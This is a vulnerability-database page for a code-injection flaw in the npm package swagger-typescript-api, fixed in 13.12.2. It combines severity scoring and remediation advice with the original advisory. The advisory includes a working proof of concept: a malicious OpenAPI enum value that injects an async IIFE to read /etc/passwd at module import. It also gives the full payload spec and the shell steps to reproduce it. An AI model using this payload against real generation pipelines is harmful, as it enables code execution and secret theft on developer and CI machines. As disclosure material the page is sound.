Skip to main content

swagger-typescript-api CVE-2026-54664

| EUVDEUVD-2026-50366 HIGH
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-07-29 https://github.com/acacode/swagger-typescript-api GHSA-5f94-x226-ccpm
8.3
CVSS 3.1 · Vendor: https://github.com/acacode/swagger-typescript-api
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Host malicious OpenAPI spec
  2. Delivery
    Victim generates client from spec
  3. Exploit
    Enum value breaks out of TypeScript enum
  4. Install
    Bare-block async IIFE injected
  5. C2
    Victim imports generated module
  6. Execute
    Code executes at module load
  7. Impact
    Read/exfiltrate files with importer privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
Exploitation Conditions

Requires that the victim run swagger-typescript-api against an OpenAPI spec containing an attacker-controlled string in components.schemas.*.enum, using the default enumStyle:"enum" output mode, and then import the generated module (or anything that transitively imports it, e.g. data-contracts.ts in modular mode) into a Node/TypeScript process. No HttpClient instantiation and no API method call are needed - a bare import triggers the module-load IIFE. Limiting factors: the attacker must control the spec source (remote --url, third-party/public/tenant-supplied spec, or a spec file editable via PR), the victim must actually generate and import the client (UI:R), and a non-default enumStyle that does not emit a native enum body would break the specific breakout used in the PoC. There are no authentication prerequisites on the victim side (PR:N).

Impact

The vendor CVSS 3.1 vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H (8.3, High) captures the trade-offs: network-delivered spec, no privileges on the victim, required user interaction (the victim must run the generator and import the output), and a scope change because generator input executes in the importing consumer's process. No EPSS score, KEV listing, or SSVC decision is present in the input, so automated-exploitation probability cannot be quantified from this data. The decisive real-world limiter is that this is a developer/CI-time supply-chain vector, not an internet-facing service flaw - exploitation requires a victim to generate a client from a spec they did not fully author. Where that condition holds (remote --url specs, vendor/partner specs rebuilt in CI, multi-tenant per-tenant client generation, or a spec file a contributor can edit via PR), the impact is full RCE with the importing process's privileges, making this a genuine high priority for teams with such pipelines rather than a high-CVSS-but-low-risk issue. The AC:H in the vendor vector is arguable: the published PoC is deterministic against the default enumStyle, so practical attack complexity is lower than AC:H implies once the target is known to consume untrusted specs.

Exploit ScenarioDerived

An attacker publishes or supplies a malicious OpenAPI spec (hosted for sta generate --url, offered as a partner/vendor spec, or committed via PR) whose Color enum contains a value like blue";}\n{(async()=>{...fs.readFileSync('/etc/passwd')...})();//. A developer or CI runner generates the TypeScript client and later imports the generated module (or its data-contracts file); the injected async IIFE executes at module load with the importer's privileges, reading /etc/passwd or exfiltrating secrets. A working, self-contained reproducer (generate → esbuild bundle → bare import → canary check) is publicly available in the advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 29, 2026

Arbitrary code execution in swagger-typescript-api (npm, versions <= 13.12.1) lets an attacker who controls an OpenAPI spec inject JavaScript that runs at module load in whoever generates and imports the client. Because the generator's Ts.StringValue helper wraps enum strings in double quotes with zero escaping, a crafted components.schemas.*.enum value breaks out of the generated TypeScript enum and plants a bare-block async IIFE that fires on a mere import - no HttpClient instantiation or API call needed. Publicly available exploit code exists (self-contained reproducer in advisory GHSA-5f94-x226-ccpm), but there is no active exploitation confirmed and it is not in CISA KEV; the fix landed in 13.12.2.

RemediationAI

Vendor-released patch: upgrade swagger-typescript-api to 13.12.2 (https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2), which escapes enum string values by hardening Ts.StringValue via a new escapeJsStringLiteral helper (PR https://github.com/acacode/swagger-typescript-api/pull/1779, commit 306d59acb8ffbb00f953f807b97234b21f51d9de); the same change also protects the other Ts.StringValue call sites and the release additionally fixes related injection in servers[0].url and route paths plus SSRF/token-exfiltration via remote $ref. If you cannot upgrade immediately, treat every OpenAPI spec as untrusted input: only generate from specs you fully author, pin and review spec files so a PR cannot silently alter enum values, and avoid generating from remote --url or tenant-supplied specs, accepting that this removes convenient automated regeneration. As a further compensating control, run the generator and the first import in an isolated least-privilege sandbox (no secrets, restricted filesystem and network egress) so a module-load IIFE cannot read tokens or exfiltrate data, at the cost of added CI complexity. Manually diffing generated enum bodies for stray ;}, bare {, or trailing // before importing is a stopgap detection, not a reliable control.

Affected VersionsENISA

swagger-typescript-api < 13.12.2

Affected Packages

npm swagger-typescript-api fix: 13.12.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

swagger-typescript-api is a Node.js/TypeScript code generator that turns an OpenAPI/Swagger specification into a typed API client using EJS templates. The root cause is in src/configuration.ts:250 where StringValue is defined as (content) => "${content}" - it emits a TypeScript string literal without escaping quotes, backslashes, or newlines. Enum values reach this sink via src/schema-parser/base-schema-parsers/enum.ts:100 and :116 and are interpolated raw into templates/base/enum-data-contract.ejs under the default enumStyle:"enum" branch. This is a classic injection root cause (CWE-74; effectively CWE-94 code injection and CWE-1336 template injection): a " closes the literal, ;} terminates the enum body, { opens a top-level bare block, and a trailing // swallows the appended closing quote so the output still parses and bundles cleanly through esbuild. The affected package per CPE is pkg:npm/swagger-typescript-api. Several sibling call sites (schema-utils.ts, object.ts, discriminator.ts) use the same unescaped helper but land in type-level positions and are safe only by accident of context, not by design.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/acacode/swagger-typescript-api) PRIMARY 8.3 HIGH
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
vuln.today AI 9.6 CRITICAL

Attacker fully controls the spec and the PoC is deterministic against the default enum style (AC:L), needs no victim auth (PR:N) but requires the victim to generate and import (UI:R), and generator input executes in the consumer's process (S:C) for full RCE.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).

CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

swagger-typescript-api interpolates components.schemas.*.enum[i] string values into the body of generated TypeScript enum declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at module load the first time the generated client is imported. The trigger requires no instantiation and no method call - only an import of the generated module. The attacker controls the OpenAPI spec (remote --url, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges - read any file the importer can read, write any file, exfiltrate secrets, etc.

Details

The root cause is Ts.StringValue in src/configuration.ts:250:

ts
StringValue: (content: unknown) => `"${content}"`,

It wraps a value in double quotes with zero escaping - no handling of ", \, newlines, or anything else. The codebase's only escape function (escapeJSDocContent in src/schema-parser/schema-formatters.ts:127) only replaces */ and is never applied to this path.

Enum string values reach Ts.StringValue at src/schema-parser/base-schema-parsers/enum.ts:100 and :116:

ts
return this.config.Ts.StringValue(value);
// ...
value: this.config.Ts.StringValue(enumName),

The result is interpolated raw into the enum body in templates/base/enum-data-contract.ejs (default enumStyle: "enum" branch, lines 24-31):

ejs
export enum <%~ name %> {
  <%~ _.map($content, ({ key, value, description }) => {
    ...
    return [
      formattedDescription && `/** ${formattedDescription} */`,
      `${key} = ${value}`
    ].filter(Boolean).join("\n");
  }).join(",\n") %>
}

Where ${value} is the result of Ts.StringValue - raw "${content}". An attacker-controlled enum value containing a " closes the string and exposes the surrounding code position to injection.

A ;} sequence terminates the enum body mid-stream. A { opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing // consumes the closing " that Ts.StringValue still appends, and the template's own closing } of the enum becomes the closing } of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare await import('./generated.js').

The same Ts.StringValue function is also called from src/schema-parser/schema-utils.ts:215,406, src/schema-parser/base-schema-parsers/object.ts:47, and src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime - they are safe by accident of context, not by escaping. A fix that hardens Ts.StringValue itself protects those sites too as defense in depth.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious enum value (literal string, JSON-encoded in the spec below):

blue";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//

Minimal payload spec:

json
{
  "openapi": "3.0.0",
  "info": { "title": "EnumPayloadAPI", "version": "1.0.0" },
  "components": {
    "schemas": {
      "Color": {
        "type": "string",
        "enum": [
          "red",
          "blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
        ]
      }
    }
  },
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": {
          "200": {
            "description": "OK",
            "content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } }
          }
        }
      }
    }
  }
}

Steps:

bash
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (enum block - payload):

ts
    export enum Color {
  Red = "red",
  BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = "blue";}
{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
 }

The ;} closes the enum body. The {...} after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.

Result: after bare import of the bundle, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec ("enum": ["red", "blue"]) generates a clean enum and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely. Concrete scenarios:

  • sta generate --url https://attacker.example/openapi.json - a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project pinned to a spec file that a contributor can modify via PR - the spec change is itself the exploit.

Lifecycle: the bare-block IIFE fires at module load. A consumer does not need to instantiate HttpClient, does not need to call any API method, does not need to use the enum value - they only need to import the generated module (or anything that transitively imports it, e.g. the data-contracts.ts file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.

Privilege: the IIFE runs with the full privileges of the importing process - read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.

Suggested fix: harden Ts.StringValue in src/configuration.ts:250 to produce a properly-escaped JavaScript string literal - escape at minimum ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators ` / . JSON.stringify on the content is a one-line acceptable implementation. This single change also protects every other call site of Ts.StringValue` (currently safe only by accident of landing in type-level positions).

Submitted by: Hamza Haroon (thegr1ffyn)

Executive ViewAI

Why It Matters

swagger-typescript-api, a popular npm package for generating TypeScript API clients, enables code execution when processing maliciously crafted OpenAPI specifications. Organizations using this library face supply chain risk, with injected code executing silently in deployed applications at import time. Upgrading to patched version 13.12.2 is required to eliminate this critical vulnerability.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Prevalence
Medium
popular OpenAPI-to-TypeScript codegen npm package, but dev/CI-time tool only
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

62
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy